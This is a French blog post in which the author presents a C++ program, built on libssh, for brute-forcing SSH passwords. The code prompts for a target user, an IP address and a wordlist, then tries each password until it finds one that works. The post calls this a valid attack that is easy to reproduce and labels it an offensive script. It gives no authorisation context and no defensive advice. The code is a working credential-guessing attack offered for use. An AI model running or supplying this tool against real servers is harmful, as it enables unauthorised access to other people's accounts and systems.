Force brute SSH avec C++

Mar 11 2023
Introduction Bienvenue dans mon nouvel article, aujourd'hui je vais vous montrer mon script C++ pour effectuer des attaques SSH Brute Force. Qu'est-ce que le BruteForcing ? Information par : Une attaque par force brute est une méthode de piratage qui utilise des essais et des erreurs pour déchiffrer les mots de passe, les identifiants de connexion et les clés de chiffrement.

Introduction

Bienvenue dans mon nouvel article, aujourd'hui je vais vous montrer mon script C++ pour effectuer des attaques SSH Brute Force.

Qu'est-ce que le BruteForcing ?

Renseignements par :

Une attaque par force brute est une méthode de piratage qui utilise des essais et des erreurs pour déchiffrer les mots de passe, les identifiants de connexion et les clés de chiffrement. Il s'agit d'une tactique simple mais fiable pour obtenir un accès non autorisé aux comptes individuels et aux systèmes et réseaux des organisations. Le pirate essaie plusieurs noms d'utilisateur et mots de passe, souvent en utilisant un ordinateur pour tester un large éventail de combinaisons, jusqu'à ce qu'il trouve les informations de connexion correctes.

Le nom « force brute » vient des attaquants utilisant des tentatives excessivement énergiques pour accéder aux comptes d'utilisateurs. Bien qu'il s'agisse d'une ancienne méthode de cyberattaque, les attaques par force brute ont fait leurs preuves et restent une tactique populaire auprès des pirates.

Dans cet article publié précédemment, j'ai fourni un bref aperçu d'Hydra et de son fonctionnement pour le bruteforcing SSH :

Hydre — BruteForce

Code

C'est le bon moment pour voir le code que j'ai utilisé pour attaquer les serveurs SSH avec C++. Vous trouverez ci-dessous un extrait du fichier de classe pour ce PoC :

#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"

using namespace std;
class SSHHost{
    public:
        string ip;
        string user;
SSHHost(string ip,string user){
            this->ip = ip;
            this->user = user;
        }
ssh_session SSHConnection(string ip, string user){
            yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
            ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
            if (rc != SSH_OK){
                red("\nServer connection unsuccesfull\n");
                cout<<"Error: "<<ssh_get_error(session) << endl;
            }
            else if(rc == 0){
                green("\nServer connection succesfull\n");
                return session;
            }
        }
int SSHAuth(ssh_session session,string user,string password){
            // Authentication
            int rc;
            rc = ssh_userauth_password(session, user.c_str(), password.c_str());
            if (rc != SSH_AUTH_SUCCESS){
            }
            else if (rc ==  SSH_AUTH_SUCCESS) {
                green("Authentication Completed with password: ");
                cout<<password<<"\n";
            }
            return rc;
        }
    
};

#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;

int main(){
    ssh_session session;
    int check;
    string ip;
    string user;
    string file;
    cout<<"Put the user to attack: ";
    cin>>user;
    cout<<"Put the IP of SSH Server to attack: ";   
    cin>>ip;
    cout<<"Put the Path of Wordlist File: ";
    cin>>file;
    vector<string> passwords = readPasswordsFromFile(file);
    SSHHost ssh_host(ip,user);
    session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
    for (int i = 0; i < passwords.size(); i++) {
        cout<<passwords[i]<<"\n";
    }
    for (int i = 0; i < passwords.size(); i++) {
        
        check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
        if(check == SSH_AUTH_SUCCESS){
            ssh_disconnect(session);
            break;
        }}
    return 0;
}

Le fichier principal demande des informations sur l'utilisateur et l'adresse IP à attaquer, puis il exécute d'autres fonctions.

Les autres fonctions se trouvent dans le fichier de classe SSHHost et ont deux attributs, user et IP.

Ensuite, ayez une méthode constructeur, les méthodes SSHConnection et SSHAuth . SSHConnection renvoie une session qui a utilisé SSHAuth .

PoC

Exécutez le script et répondez aux invites de l'utilisateur en conséquence :

Les étapes incluses dans cette méthode d'attaque sont très faciles à reproduire et constituent une méthode d'attaque valide dans le cybermonde moderne.

La sortie ci-dessus montre un mot de passe découvert, indiquant une attaque par force brute réussie…

conclusion

C'est l'un de mes premiers scripts offensifs utilisant des classes et des objets. Merci d'avoir lu mon article. J'espère que vous avez apprécié le contenu !

S12.